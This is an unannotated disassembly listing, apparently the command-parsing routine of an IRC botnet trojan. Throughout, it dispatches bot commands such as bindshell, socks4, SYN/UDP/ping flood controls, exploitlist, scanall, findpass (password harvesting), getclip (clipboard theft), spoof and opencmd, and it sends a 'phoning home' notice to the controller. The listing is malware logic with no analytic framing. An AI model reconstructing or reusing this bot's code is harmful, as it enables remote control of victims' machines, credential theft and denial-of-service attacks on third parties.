add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
lea edi, [ebp+esi+var_50]
loc_4025DC: ; CODE XREF: sub_401AA1+BDEj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d-"
push eax
call sub_41BEF6
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41BF70
add esp, 14h
test eax, eax
jz short loc_40263E
cmp [edi], ebx
jz short loc_402642
push [ebp+arg_C]
call sub_41B650
add [ebp+var_C], eax
pop ecx
jz short loc_402676
push dword ptr [edi-4]
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz short loc_402676
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_418584
add esp, 0Ch
jmp short loc_402676
; ---------------------------------------------------------------------------
loc_40263E: ; CODE XREF: sub_401AA1+B63j
cmp [edi], ebx
jnz short loc_402676
loc_402642: ; CODE XREF: sub_401AA1+B67j
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_94]
push eax
call sub_41BC60
lea eax, [ebp+var_94]
mov [ebp+var_92], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_418584
add esp, 18h
loc_402676: ; CODE XREF: sub_401AA1+B75j
; sub_401AA1+B86j ...
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg loc_4025DC
lea eax, [ebp+esi+var_50]
mov [ebp+arg_20], 10h
mov edi, eax
loc_402692: ; CODE XREF: sub_401AA1+C3Dj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD ; "$%d"
push eax
call sub_41BEF6
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41BF70
add esp, 14h
test eax, eax
jz short loc_4026D5
mov eax, [edi]
cmp eax, ebx
jz short loc_4026D5
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_418584
add esp, 0Ch
loc_4026D5: ; CODE XREF: sub_401AA1+C19j
; sub_401AA1+C1Fj
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_402692
mov [ebp+var_2C4], 1
loc_4026EA: ; CODE XREF: sub_401AA1+AADj
; sub_401AA1+ADBj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, byte_42A980
jz short loc_402703
cmp [ebp+var_2C4], ebx
jz loc_4028EF
loc_402703: ; CODE XREF: sub_401AA1+C54j
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe ; "$me"
push edi
call sub_418584
lea eax, [ebp+var_C0]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_418584
push [ebp+var_88]
push offset aChan ; "$chan"
push edi
call sub_418584
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AD20
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_418584
add esp, 40h
push [ebp+arg_14]
push offset aServer_1 ; "$server"
push edi
call sub_418584
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_41BF70
add esp, 14h
jmp loc_40286A
; ---------------------------------------------------------------------------
loc_40277A: ; CODE XREF: sub_401AA1+DCBj
push edi
push [ebp+arg_0]
call sub_41BF70
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41BC60
lea eax, [ebp+var_A0]
push offset asc_42F2E4 ; ")"
push eax
call sub_41C764
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_4027BE
cmp [ebp+var_A0], 39h
jle short loc_4027D4
loc_4027BE: ; CODE XREF: sub_401AA1+D12j
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_41BC60
add esp, 0Ch
loc_4027D4: ; CODE XREF: sub_401AA1+D1Bj
lea eax, [ebp+var_A0]
push eax
call sub_41BDE9
test eax, eax
pop ecx
jle short loc_4027FA
lea eax, [ebp+var_A0]
push eax
call sub_41BDE9
pop ecx
mov [ebp+var_94], al
jmp short loc_40280E
; ---------------------------------------------------------------------------
loc_4027FA: ; CODE XREF: sub_401AA1+D42j
call sub_41BF52
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_94], dl
loc_40280E: ; CODE XREF: sub_401AA1+D57j
lea eax, [ebp+var_A0]
mov [ebp+var_93], bl
push eax
call sub_41B650
mov [ebp+arg_20], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BC00
mov eax, [ebp+arg_20]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_41BC60
lea eax, [ebp+var_94]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_418584
push edi
push [ebp+arg_0]
call sub_41BF70
add esp, 30h
loc_40286A: ; CODE XREF: sub_401AA1+CD4j
test eax, eax
jnz loc_40277A
mov edi, 1FFh
lea eax, [ebp+var_428C]
push edi
push [ebp+arg_0]
push eax
call sub_41BC60
lea eax, [ebp+var_428C]
push edi
push eax
lea eax, [ebp+var_4EF8]
push eax
call sub_41BC60
mov edi, offset asc_42F5E8 ; " "
lea eax, [ebp+var_4EF8]
push edi
push eax
call sub_41C764
add esp, 20h
mov [ebp+var_90], eax
mov [ebp+arg_10], 1
loc_4028BD: ; CODE XREF: sub_401AA1+E36j
push edi
push ebx
call sub_41C764
pop ecx
pop ecx
mov ecx, [ebp+arg_10]
inc [ebp+arg_10]
cmp [ebp+arg_10], 20h
mov [ebp+ecx*4+var_90], eax
jl short loc_4028BD
lea eax, [ebp+esi+var_90]
mov ecx, [eax]
cmp ecx, ebx
jz loc_401F20
add ecx, 3
mov [eax], ecx
loc_4028EF: ; CODE XREF: sub_401AA1+C5Cj
mov edi, [ebp+esi+var_90]
push edi
push offset aRndnick ; "rndnick"
mov [ebp+arg_8], edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40951A
push edi
push offset aRn ; "rn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40951A
push edi
push offset aDi3 ; "di3"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40497C
push edi
push offset aDi3 ; "di3"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40497C
push edi
push offset aLogout ; "logout"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048D8
push edi
push offset aLo ; "lo"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048D8
push edi
push offset aVersion ; "version"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048C9
push edi
push offset aVer ; "ver"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048C9
push edi
push offset aRulez ; "rulez"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048BF
push edi
push offset aRz ; "rz"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048BF
push edi
push offset aSpeedtest ; "speedtest"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048A6
push edi
push offset aSt ; "st"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4048A6
push edi
push offset aSecure ; "secure"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4047A9
push edi
push offset aSec ; "sec"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4047A9
push edi
push offset aUnsecure ; "unsecure"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4047A9
push edi
push offset aUnsec ; "unsec"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4047A9
push edi
push offset aBindshell ; "bindshell"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4046A4
push edi
push offset aBd ; "bd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4046A4
push edi
push offset aBindshellstop ; "bindshellstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402A9C
push [ebp+esi+var_8C]
push 6
push offset aServer_0 ; "Server"
push offset dword_42F240
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402A9C: ; CODE XREF: sub_401AA1+FE1j
push edi
push offset aSocks4 ; "socks4"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404583
push edi
push offset aS4 ; "s4"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404583
push edi
push offset aSocks4stop ; "socks4stop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402AEF
push [ebp+esi+var_8C]
push 19h
push offset aServer_0 ; "Server"
push offset dword_42F218
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402AEF: ; CODE XREF: sub_401AA1+1034j
push edi
push offset aRloginstop ; "rloginstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B18
push [ebp+esi+var_8C]
push 9
push offset aServer_0 ; "Server"
push offset dword_42F1E0
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402B18: ; CODE XREF: sub_401AA1+105Dj
push edi
push offset aHttpstop ; "httpstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B41
push [ebp+esi+var_8C]
push 3
push offset aServer_0 ; "Server"
push offset dword_42F1B4
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402B41: ; CODE XREF: sub_401AA1+1086j
push edi
push offset aLogstop ; "logstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B6A
push [ebp+esi+var_8C]
push 25h
push offset dword_42F1A0
push offset dword_42F17C
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402B6A: ; CODE XREF: sub_401AA1+10AFj
push edi
push offset aRedirectstop ; "redirectstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402B93
push [ebp+esi+var_8C]
push 18h
push offset dword_42F15C
push offset dword_42F14C
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402B93: ; CODE XREF: sub_401AA1+10D8j
push edi
push offset dword_42F140
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BBC
push [ebp+esi+var_8C]
push 0Dh
push offset dword_42F134
push offset dword_42F128
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402BBC: ; CODE XREF: sub_401AA1+1101j
push edi
push offset aSynstop ; "synstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402BE5
push [ebp+esi+var_8C]
push 0Eh
push offset dword_42F114
push offset dword_42F108
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402BE5: ; CODE XREF: sub_401AA1+112Aj
push edi
push offset aSkysynstop ; "skysynstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C0E
push [ebp+esi+var_8C]
push 10h
push offset dword_42F0EC
push offset dword_42F0DC
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402C0E: ; CODE XREF: sub_401AA1+1153j
push edi
push offset aTarga3stop ; "targa3stop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C37
push [ebp+esi+var_8C]
push 11h
push offset dword_42F0C0
push offset dword_42F0B0
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402C37: ; CODE XREF: sub_401AA1+117Cj
push edi
push offset aWonkstop ; "wonkstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402C60
push [ebp+esi+var_8C]
push 12h
push offset dword_42F098
push offset dword_42F08C
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402C60: ; CODE XREF: sub_401AA1+11A5j
push edi
push offset aPacketstop ; "packetstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_402DB6
mov esi, [ebp+esi+var_8C]
mov edi, [ebp+arg_4]
push esi
push 0Dh
push offset dword_42F134
push offset dword_42F128
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
push esi
push 0Eh
push offset dword_42F114
push offset dword_42F108
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
add esp, 40h
push esi
push 17h
push offset dword_42F074
push offset dword_42F068
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
push esi
push 16h
push offset dword_42F05C
push offset dword_42F050
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
add esp, 40h
push esi
push 11h
push offset dword_42F0C0
push offset dword_42F0B0
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
push esi
push 12h
push offset dword_42F098
push offset dword_42F08C
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
add esp, 40h
push esi
push 0Fh
push offset dword_42F040
push offset dword_42F030
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
push esi
push 13h
push offset dword_42F020
push offset dword_42F010
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
add esp, 40h
push esi
push 10h
push offset dword_42F0EC
push offset dword_42F0DC
push 1
push [ebp+var_4]
push [ebp+var_88]
push edi
call sub_40B4DC
push ebx
push [ebp+var_4]
push offset unk_42EFDC
push [ebp+var_88]
push edi
call sub_409743
add esp, 34h
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_402DB6: ; CODE XREF: sub_401AA1+11CEj
push edi
push offset aTsunamistop ; "tsunamistop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402DDF
push [ebp+esi+var_8C]
push 0Fh
push offset dword_42F040
push offset dword_42F030
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402DDF: ; CODE XREF: sub_401AA1+1324j
push edi
push offset aWisdomstop ; "wisdomstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E08
push [ebp+esi+var_8C]
push 13h
push offset dword_42F020
push offset dword_42F010
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402E08: ; CODE XREF: sub_401AA1+134Dj
push edi
push offset aUdpstop ; "udpstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E31
push [ebp+esi+var_8C]
push 17h
push offset dword_42F074
push offset dword_42F068
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402E31: ; CODE XREF: sub_401AA1+1376j
push edi
push offset aPingstop ; "pingstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E5A
push [ebp+esi+var_8C]
push 16h
push offset dword_42F05C
push offset dword_42F050
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402E5A: ; CODE XREF: sub_401AA1+139Fj
push edi
push offset aTftpstop ; "tftpstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402E83
push [ebp+esi+var_8C]
push 5
push offset aServer_0 ; "Server"
push offset dword_42EF94
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402E83: ; CODE XREF: sub_401AA1+13C8j
push edi
push offset aFindfilestop ; "findfilestop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40456B
push edi
push offset aFfstop ; "ffstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40456B
push edi
push offset aProcsstop ; "procsstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404553
push edi
push offset aPsstop ; "psstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404553
push edi
push offset aClonestop ; "clonestop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402F00
push [ebp+esi+var_8C]
push 1Fh
push offset aClone ; "Clone"
push offset dword_42EF44
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402F00: ; CODE XREF: sub_401AA1+1445j
push edi
push offset aSecurestop ; "securestop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402F29
push [ebp+esi+var_8C]
push 22h
push offset aSecure_0 ; "Secure"
push offset dword_42EF08
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402F29: ; CODE XREF: sub_401AA1+146Ej
push edi
push offset aScanstop ; "scanstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_402F52
push [ebp+esi+var_8C]
push 0Bh
push offset aScan_0 ; "Scan"
push offset dword_42EED0
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_402F52: ; CODE XREF: sub_401AA1+1497j
push edi
push offset aScanstats ; "scanstats"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40453D
push edi
push offset aStats ; "stats"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40453D
push edi
push offset aTransferstats ; "transferstats"
call sub_41C6E0
pop ecx
test eax, eax
loc_402F8A: ; DATA XREF: .XPack:004FBE4Bo
pop ecx
jz loc_404527
push edi
push offset aTrstats ; "trstats"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404527
push edi
push offset aConnectbacksta ; "connectbackstats"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404511
push edi
push offset aCbstats ; "cbstats"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404511
push edi
push offset aExploitlist ; "exploitlist"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044FB
push edi
push offset aExplist ; "explist"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044FB
push edi
push offset aReconnect ; "reconnect"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044DC
push edi
push offset aR ; "r"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044DC
push edi
push offset aDisconnect ; "disconnect"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044BA
push edi
push offset aDc ; "dc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4044BA
push edi
push offset aQuit_0 ; "quit"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404471
push edi
push offset aQ ; "q"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404471
push edi
push offset aStatus ; "status"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404433
push edi
push offset aS_1 ; "s"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404433
push edi
push offset aId ; "id"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4043FC
push edi
push offset aI ; "i"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4043FC
push edi
push offset aR3start ; "r3start"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40311E
call sub_4189C2
test eax, eax
mov eax, offset dword_42EDF0
jnz short loc_4030F0
mov eax, offset dword_42EDB0
loc_4030F0: ; CODE XREF: sub_401AA1+1648j
push eax
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 1Ch
jmp loc_402399
; ---------------------------------------------------------------------------
loc_40311E: ; CODE XREF: sub_401AA1+163Aj
push edi
push offset aThreads ; "threads"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40430F
push edi
push offset aT ; "t"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40430F
push edi
push offset aAliases ; "aliases"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4042EC
push edi
push offset aAl ; "al"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4042EC
push edi
push offset aLog ; "log"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041FD
push edi
push offset aLg ; "lg"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041FD
push edi
push offset aClearlog ; "clearlog"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041E1
push edi
push offset aClg ; "clg"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041E1
push edi
push offset aNetinfo ; "netinfo"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041A7
push edi
push offset aNi ; "ni"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4041A7
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40417C
push edi
push offset aSi ; "si"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40417C
push edi
push offset aKh4l3d ; "Kh4l3d"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404142
push edi
push offset aL4m3rz ; "l4m3rz"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404142
push edi
push offset aProcs ; "procs"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404023
push edi
push offset aPs ; "ps"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_404023
push edi
push offset aUptime ; "uptime"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F9C
push edi
push offset aUp ; "up"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F9C
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F7F
push edi
push offset aDrv ; "drv"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F7F
push edi
push offset aTestdlls ; "testdlls"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F66
push edi
push offset aDll ; "dll"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403F66
push edi
push offset aOpencmd ; "opencmd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403EF2
push edi
push offset aOcmd ; "ocmd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403EF2
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40333F
push [ebp+esi+var_8C]
push 0Ah
push offset dword_42ECF8
push offset dword_42ECD4
jmp loc_408C3A
; ---------------------------------------------------------------------------
loc_40333F: ; CODE XREF: sub_401AA1+1884j
push edi
push offset dword_42ECD0
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_403455
cmp [ebp+var_8], ebx
jnz short loc_403373
push ebx
push [ebp+var_4]
push offset dword_42ECA4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_403373: ; CODE XREF: sub_401AA1+18B6j
mov eax, [ebp+arg_18]
xor edi, edi
mov [ebp+arg_18], eax
jmp short loc_403380
; ---------------------------------------------------------------------------
loc_40337D: ; CODE XREF: sub_401AA1+1926j
mov eax, [ebp+arg_18]
loc_403380: ; CODE XREF: sub_401AA1+18DAj
cmp [eax], bl
jz short loc_403387
inc eax
jmp short loc_40338C
; ---------------------------------------------------------------------------
loc_403387: ; CODE XREF: sub_401AA1+18E1j
mov eax, offset dword_42EC9C
loc_40338C: ; CODE XREF: sub_401AA1+18E4j
push eax
push edi
lea eax, [ebp+var_2C0]
push offset dword_42EC94
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add [ebp+arg_18], 80h
add esp, 24h
inc edi
cmp edi, 3
jl short loc_40337D
push offset dword_42EC50
call sub_415F45
pop ecx
loc_4033D4: ; CODE XREF: sub_401AA1+1BB7j
; sub_401AA1+2EEFj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
mov [ebp+arg_20], edi
jz loc_401F20
push [ebp+arg_8]
loc_4033E9: ; DATA XREF: sub_4F9FE9+251w
push offset aSpoof ; "spoof"
call sub_41C6E0
pop ecx
test eax, eax
loc_4033F6: ; DATA XREF: sub_4F9FE9+262w
pop ecx
jnz loc_404A9C
push offset aOff ; "off"
push edi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4049A2
lea eax, [ebp+var_2C0]
push offset unk_42EC18
push eax
mov dword_4D1A8C, ebx
call sub_41BEF6
loc_403429: ; DATA XREF: .XPack:004FB5A5r
; .XPack:loc_4FB5BFr ...
pop ecx
loc_40342A: ; DATA XREF: .XPack:004FB5F1r
; .XPack:loc_4FB60Cr ...
pop ecx
loc_40342B: ; CODE XREF: sub_401AA1+2FA2j
; sub_401AA1+2FC8j ...
cmp [ebp+var_8], ebx
jnz loc_409567
push ebx
loc_403435: ; DATA XREF: sub_4F9FE9+3Fr
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
loc_40344D: ; CODE XREF: sub_401AA1+6F23j
; sub_401AA1+6F89j
add esp, 14h
jmp loc_409567
; ---------------------------------------------------------------------------
loc_403455: ; CODE XREF: sub_401AA1+18ADj
push edi
push offset aGetclip ; "getclip"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403EB1
push edi
push offset aGc ; "gc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403EB1
push edi
push offset aFlusharp ; "flusharp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E94
push edi
push offset aFarp ; "farp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E94
push edi
push offset aFlushdns ; "flushdns"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E56
push edi
push offset aFdns ; "fdns"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E56
push edi
push offset aCurrentip ; "currentip"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E1C
push edi
push offset aCip ; "cip"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403E1C
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403CC0
push edi
push offset aRlogin ; "rlogin"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403CC0
push edi
push offset aHttpserver ; "httpserver"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403B4B
loc_40353C: ; DATA XREF: sub_4F9DFA+1BCw
; sub_4F9FE9:loc_4FA016r ...
push edi
push offset aHttp ; "http"
call sub_41C6E0
pop ecx
loc_403548: ; DATA XREF: sub_4F9FE9+EAw
; sub_4FA44C+3r ...
test eax, eax
pop ecx
jz loc_403B4B
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C6E0
loc_40355C: ; DATA XREF: sub_4FBC60+3Cr
pop ecx
test eax, eax
pop ecx
loc_403560: ; DATA XREF: sub_4FBC60+9Er
jz loc_403A1A
push edi
push offset aTftp ; "tftp"
loc_40356C: ; DATA XREF: .XPack:004FA8EAr
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403A1A
push edi
loc_40357C: ; DATA XREF: sub_4FBC60+7r
push offset aShitycrash ; "shitycrash"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4035E1
lea eax, [ebp+var_2C0]
push offset dword_42EB54
push eax
loc_403598: ; DATA XREF: .XPack:004FA315o
call sub_41BEF6
cmp [ebp+var_8], ebx
loc_4035A0: ; DATA XREF: sub_4FBC60+BDr
pop ecx
pop ecx
jnz short loc_4035C0
loc_4035A4: ; DATA XREF: .XPack:004FA82Cr
; .XPack:004FACD4r
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4035B8: ; DATA XREF: sub_4FC19C+3Br
call sub_409743
add esp, 14h
loc_4035C0: ; CODE XREF: sub_401AA1+1B01j
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
mov [esp+10h+var_10], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C]
call sub_41C6E0
loc_4035DC: ; DATA XREF: sub_4F9FE9+257r
; .XPack:004FA8B5r
jmp loc_4096B0
; ---------------------------------------------------------------------------
loc_4035E1: ; CODE XREF: sub_401AA1+1AE9j
push edi
push offset aScanall ; "scanall"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
loc_4035F0: ; DATA XREF: sub_4FA7E7+24r
jz loc_403713
push edi
push offset aSa ; "sa"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_403713
push edi
push offset aPhonehome ; "phonehome"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_403638
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4]
call sub_4096FD
loc_403630: ; CODE XREF: sub_401AA1+452j
add esp, 0Ch
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_403638: ; CODE XREF: sub_401AA1+1B79j
push edi
push offset aFindpass ; "findpass"
call sub_41C6E0
pop ecx
test eax, eax
loc_403646: ; DATA XREF: sub_4FA9AFr sub_4FA9AF+Bw
pop ecx
jz short loc_40365E
push edi
push offset aFp ; "fp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4033D4
loc_40365E: ; CODE XREF: sub_401AA1+1BA6j
push [ebp+var_88]
lea eax, [ebp+var_FEC]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
push offset unk_42EAD4
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41BFF0
push ebx
lea eax, [ebp+var_2C0]
push 26h
push eax
call sub_40B254
add esp, 24h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
